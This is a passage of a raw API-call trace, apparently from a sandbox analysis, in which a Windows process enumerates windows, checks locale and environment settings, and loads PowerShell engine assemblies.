0x6d4 [0107.642] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6a4 [0107.642] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6a4 [0107.642] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.642] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x54c [0107.642] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x43c [0107.643] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5a4 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x588 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.643] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x544 [0107.643] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x518 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.643] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x4f0 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.643] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x66c [0107.643] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.643] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.644] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.644] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.644] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x124 [0107.644] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x688 [0107.644] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.644] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x32c [0107.644] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.644] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x428 [0107.644] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.644] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x8fc [0107.644] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0xadc [0107.644] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x7c4 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5c0 [0107.645] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x79c [0107.645] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3b0 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x450 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x62c [0107.645] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x2ec [0107.645] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x278 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x464 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x774 [0107.645] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6bc [0107.645] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x778 [0107.645] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x34c [0107.646] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x1e0 [0107.646] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5f0 [0107.646] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x2b0 [0107.646] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6b0 [0107.646] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6d4 [0107.646] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x6a4 [0107.646] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x54c [0107.646] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x43c [0107.646] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x5a4 [0107.646] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x4f0 [0107.646] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x66c [0107.647] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.647] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x3a0 [0107.647] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x1ad680 | out: lpdwProcessId=0x1ad680) returned 0x688 [0107.661] WerSetFlags () returned 0x0 [0107.695] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0107.695] CoTaskMemFree (pv=0x0) [0107.696] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1ad9e8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1ad9e0 | out: pulNumLanguages=0x1ad9e8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1ad9e0) returned 1 [0107.696] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1ad9e8, pwszLanguagesBuffer=0x2d48c90, pcchLanguagesBuffer=0x1ad9e0 | out: pulNumLanguages=0x1ad9e8, pwszLanguagesBuffer=0x2d48c90, pcchLanguagesBuffer=0x1ad9e0) returned 1 [0107.705] CoTaskMemAlloc (cb=0x24) returned 0x2879f80 [0107.705] GetUserDefaultLocaleName (in: lpLocaleName=0x2879f80, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0107.705] CoTaskMemFree (pv=0x2879f80) [0107.740] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.741] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.741] CoTaskMemFree (pv=0x358750) [0107.746] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.746] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.746] CoTaskMemFree (pv=0x358750) [0107.750] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.750] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.750] CoTaskMemFree (pv=0x358750) [0107.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.768] SetErrorMode (uMode=0x1) returned 0x1 [0107.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1ad660 | out: lpFileInformation=0x1ad660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0107.768] SetErrorMode (uMode=0x1) returned 0x1 [0107.768] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1ad8d0 | out: lpdwHandle=0x1ad8d0) returned 0x94c [0107.769] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2d4c520 | out: lpData=0x2d4c520) returned 1 [0107.770] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ad848, puLen=0x1ad840 | out: lplpBuffer=0x1ad848*=0x2d4c5bc, puLen=0x1ad840) returned 1 [0107.770] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c698, puLen=0x1ad7b0) returned 1 [0107.770] lstrlenW (lpString="Microsoft Corporation") returned 21 [0107.770] CoTaskMemAlloc (cb=0x2e) returned 0x287dba0 [0107.770] lstrcpyW (in: lpString1=0x287dba0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0107.770] CoTaskMemFree (pv=0x287dba0) [0107.770] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c6ec, puLen=0x1ad7b0) returned 1 [0107.770] lstrlenW (lpString="System.Management.Automation") returned 28 [0107.770] CoTaskMemAlloc (cb=0x3c) returned 0x2883f10 [0107.770] lstrcpyW (in: lpString1=0x2883f10, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0107.770] CoTaskMemFree (pv=0x2883f10) [0107.770] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c748, puLen=0x1ad7b0) returned 1 [0107.770] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.770] CoTaskMemAlloc (cb=0x20) returned 0x28815d0 [0107.770] lstrcpyW (in: lpString1=0x28815d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.770] CoTaskMemFree (pv=0x28815d0) [0107.770] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c788, puLen=0x1ad7b0) returned 1 [0107.770] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.770] CoTaskMemAlloc (cb=0x44) returned 0x2883f10 [0107.770] lstrcpyW (in: lpString1=0x2883f10, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.770] CoTaskMemFree (pv=0x2883f10) [0107.771] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c7f0, puLen=0x1ad7b0) returned 1 [0107.771] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0107.771] CoTaskMemAlloc (cb=0x76) returned 0x365e20 [0107.771] lstrcpyW (in: lpString1=0x365e20, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0107.771] CoTaskMemFree (pv=0x365e20) [0107.771] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c88c, puLen=0x1ad7b0) returned 1 [0107.771] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0107.771] CoTaskMemAlloc (cb=0x44) returned 0x2883f10 [0107.771] lstrcpyW (in: lpString1=0x2883f10, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0107.771] CoTaskMemFree (pv=0x2883f10) [0107.771] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c8f0, puLen=0x1ad7b0) returned 1 [0107.771] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0107.771] CoTaskMemAlloc (cb=0x58) returned 0x317cf0 [0107.771] lstrcpyW (in: lpString1=0x317cf0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0107.771] CoTaskMemFree (pv=0x317cf0) [0107.771] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c96c, puLen=0x1ad7b0) returned 1 [0107.771] lstrlenW (lpString="6.1.7601.17514") returned 14 [0107.771] CoTaskMemAlloc (cb=0x20) returned 0x28815d0 [0107.771] lstrcpyW (in: lpString1=0x28815d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0107.772] CoTaskMemFree (pv=0x28815d0) [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x2d4c614, puLen=0x1ad7b0) returned 1 [0107.772] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0107.772] CoTaskMemAlloc (cb=0x66) returned 0x28785c0 [0107.772] lstrcpyW (in: lpString1=0x28785c0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0107.772] CoTaskMemFree (pv=0x28785c0) [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x0, puLen=0x1ad7b0) returned 0 [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x0, puLen=0x1ad7b0) returned 0 [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1ad7b8, puLen=0x1ad7b0 | out: lplpBuffer=0x1ad7b8*=0x0, puLen=0x1ad7b0) returned 0 [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ad788, puLen=0x1ad780 | out: lplpBuffer=0x1ad788*=0x2d4c5bc, puLen=0x1ad780) returned 1 [0107.772] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0107.772] VerLanguageNameW (in: wLang=0x0, szLang=0x385950, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0107.772] CoTaskMemFree (pv=0x385950) [0107.772] VerQueryValueW (in: pBlock=0x2d4c520, lpSubBlock="\\", lplpBuffer=0x1ad7d8, puLen=0x1ad7d0 | out: lplpBuffer=0x1ad7d8*=0x2d4c548, puLen=0x1ad7d0) returned 1 [0107.780] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.780] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.780] CoTaskMemFree (pv=0x358750) [0107.785] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.785] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.785] CoTaskMemFree (pv=0x358750) [0107.791] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad6a8 | out: phkResult=0x1ad6a8*=0x30c) returned 0x0 [0107.793] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad698 | out: phkResult=0x1ad698*=0x310) returned 0x0 [0107.793] RegOpenKeyExW (in: hKey=0x310, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad728 | out: phkResult=0x1ad728*=0x314) returned 0x0 [0107.799] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad66c, lpData=0x0, lpcbData=0x1ad668*=0x0 | out: lpType=0x1ad66c*=0x1, lpData=0x0, lpcbData=0x1ad668*=0x56) returned 0x0 [0107.800] CoTaskMemAlloc (cb=0x5a) returned 0x2878550 [0107.800] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad63c, lpData=0x2878550, lpcbData=0x1ad638*=0x56 | out: lpType=0x1ad63c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ad638*=0x56) returned 0x0 [0107.801] CoTaskMemFree (pv=0x2878550) [0107.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.812] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.858] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0107.858] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.859] CoTaskMemFree (pv=0x358750) [0108.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0108.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0108.366] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.367] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.367] CoTaskMemFree (pv=0x358860) [0108.367] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.367] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.368] CoTaskMemFree (pv=0x358860) [0108.408] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.408] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.408] CoTaskMemFree (pv=0x358860) [0108.410] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.410] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.411] CoTaskMemFree (pv=0x358860) [0108.411] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.411] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.411] CoTaskMemFree (pv=0x358860) [0108.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0108.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0108.880] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.880] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.880] CoTaskMemFree (pv=0x358860) [0108.888] CoTaskMemAlloc (cb=0x104) returned 0x358860 [0108.888] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358860, nSize=0x80 | out: lpBuffer="") returned 0x0 [0108.888] CoTaskMemFree (pv=0x358860) [0108.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0108.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0109.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: 